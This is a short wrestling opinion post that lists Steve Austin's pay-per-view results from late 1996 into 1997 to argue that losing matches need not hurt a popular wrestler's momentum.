Thought of the Day: Many Steps Back, Huge Jump Forward

My response is Steve Austin.Let’s take a look at Austin’s performance on PPV starting with his breakout performance at Survivor Series 1996.

Survivor Series 1996 – Loss

In Your House 12 – Not on the PPV

Royal Rumble – Cheated to win

In Your House 13 – Loss

Wrestlemania 13 – Loss

In Your House 14 – Won by DQ

In Your House 15 – Loss

King of the Ring 1997 – Double DQ

In Your House 16 – Loss

It wasn’t until Summerslam 1997 that Austin started consistently winning. In other words, he went nine months without a PPV pinfall victory. However, he was so over the top and intense that he kept getting hotter and hotter. Does this sound familiar to anyone? Perhaps a lot of wrestlers that we swear is done because he loses here or there?
